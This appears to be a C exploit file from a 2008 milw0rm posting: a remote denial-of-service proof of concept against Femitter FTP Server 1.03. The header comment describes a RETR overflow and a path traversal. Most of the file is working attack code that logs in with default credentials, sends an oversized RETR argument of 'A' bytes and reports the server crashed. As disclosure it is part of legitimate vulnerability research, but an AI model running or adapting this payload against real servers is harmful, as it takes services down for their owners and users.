184 lines
No EOL
7.7 KiB
C
184 lines
No EOL
7.7 KiB
C
/*0-----------------------------------------------------------------------------------0*\
|
|
0 0
|
|
| |
|
|
| Femitter FTP Server 1.03 (RETR) Remote Denial of Service Exploit PoC |
|
|
| |
|
|
| Summary: Femitter Server is an easy-to use HTTP and FTP server application |
|
|
| for Windows which allows you to use your own computer for sharing gigabytes |
|
|
| of files with your friends and colleagues. |
|
|
| |
|
|
| Desc: Femitter HTTP/FTP 1.03 suffers from a denial of service vulnerability |
|
|
| and memory corruption that causes the application to crash. When we send to |
|
|
| the RETR command an argument like AAAA:AAAA or an overly long string of As |
|
|
| (1024), the server crashes instantly. Also, when typing into browser: |
|
|
| ftp://127.0.0.1/\.. we traverse to the install folder of the program(CWD), |
|
|
| and when browsing to ftp://127.0.0.1/\..\/\..\ we get access violation at |
|
|
| address 004A218A in module "fem.exe". Write of address 00000000. |
|
|
| |
|
|
| Producst web page: http://acritum.com/fem/index.htm |
|
|
| |
|
|
| Tested on Microsoft Windows XP SP2 (English) |
|
|
| |
|
|
| Vulnerability discovered by Gjoko 'LiquidWorm' Krstic |
|
|
| |
|
|
| liquidworm [t00t] gmail.com |
|
|
| |
|
|
| http://www.zeroscience.org/ |
|
|
| |
|
|
| 17.09.2008 |
|
|
| |
|
|
0 0
|
|
\*0-----------------------------------------------------------------------------------0*/
|
|
|
|
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
#include <errno.h>
|
|
#include <netdb.h>
|
|
|
|
|
|
#define MANA "\x52\x45\x54\x52\x20\x41\x41\x41\x41\x3A\x41\x41\x41\x41\xD\xA"
|
|
|
|
|
|
void header(void);
|
|
|
|
|
|
int main (int argc, char *argv[])
|
|
{
|
|
|
|
|
|
int sckt = 0, sfd = 0;
|
|
char user[] = "USER admin\r\n";
|
|
char pass[] = "PASS nimda\r\n";
|
|
|
|
unsigned char payload[]=
|
|
|
|
"\x52\x45\x54\x52\x20\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
|
"\x41\x41\x41\xD\xA";
|
|
|
|
header();
|
|
|
|
if(argc != 3)
|
|
{
|
|
printf("\nUsage: %s [ip] [port]\n\n", argv[0]);
|
|
return (EXIT_SUCCESS);
|
|
}
|
|
|
|
struct sockaddr_in dos_ftp;
|
|
sfd = socket(AF_INET, SOCK_STREAM, 0);
|
|
if(sfd < 0)
|
|
{
|
|
perror("Socket");
|
|
printf("Error creating socket...\n");
|
|
return(1);
|
|
}
|
|
|
|
printf("\n\n[+] Socket created!\n");
|
|
sleep (1);
|
|
|
|
memset(&dos_ftp, 0x0, sizeof(dos_ftp));
|
|
dos_ftp.sin_family = AF_INET;
|
|
dos_ftp.sin_addr.s_addr = inet_addr(argv[1]);
|
|
dos_ftp.sin_port = htons(atoi(argv[2]));
|
|
sckt = connect(sfd, (struct sockaddr *) &dos_ftp, sizeof(dos_ftp));
|
|
if(sckt < 0)
|
|
{
|
|
perror("Connect");
|
|
printf("Error connecting...\n");
|
|
return(1);
|
|
}
|
|
|
|
printf("[+] Connection established!\n");
|
|
sleep (1);
|
|
|
|
write(sfd, user, strlen(user)); // username
|
|
printf("[+] Sending CMD: %s\n", user);
|
|
sleep (2);
|
|
|
|
write(sfd, pass, strlen(pass)); // password
|
|
printf("[+] Sending CMD: %s\n", pass);
|
|
sleep (2);
|
|
|
|
printf("[+] Sending malicious buffer to %s on port %s ...\n", argv[1], argv[2]);
|
|
sleep(2);
|
|
|
|
send(sfd, payload, sizeof(payload), 0); // send(sfd, MANA, sizeof(MANA),0);
|
|
printf("[+] Malicious buffer succesfully sent...\n");
|
|
sleep (1);
|
|
printf("[+] Femitter FTP Server v1.03 on %s has crashed!\n\n", argv[1]);
|
|
|
|
close (sfd);
|
|
|
|
return(0);
|
|
}
|
|
|
|
void header()
|
|
{
|
|
printf("\n********************************************************************************\n\n");
|
|
printf("\tFemitter FTP Server 1.03 (RETR) Remote Denial of Service Exploit PoC\n");
|
|
printf("\t\t\tby LiquidWorm <liquidworm [t00t] gmail.com>\n\n");
|
|
printf("********************************************************************************\n\n");
|
|
}
|
|
|
|
// milw0rm.com [2008-09-17]
|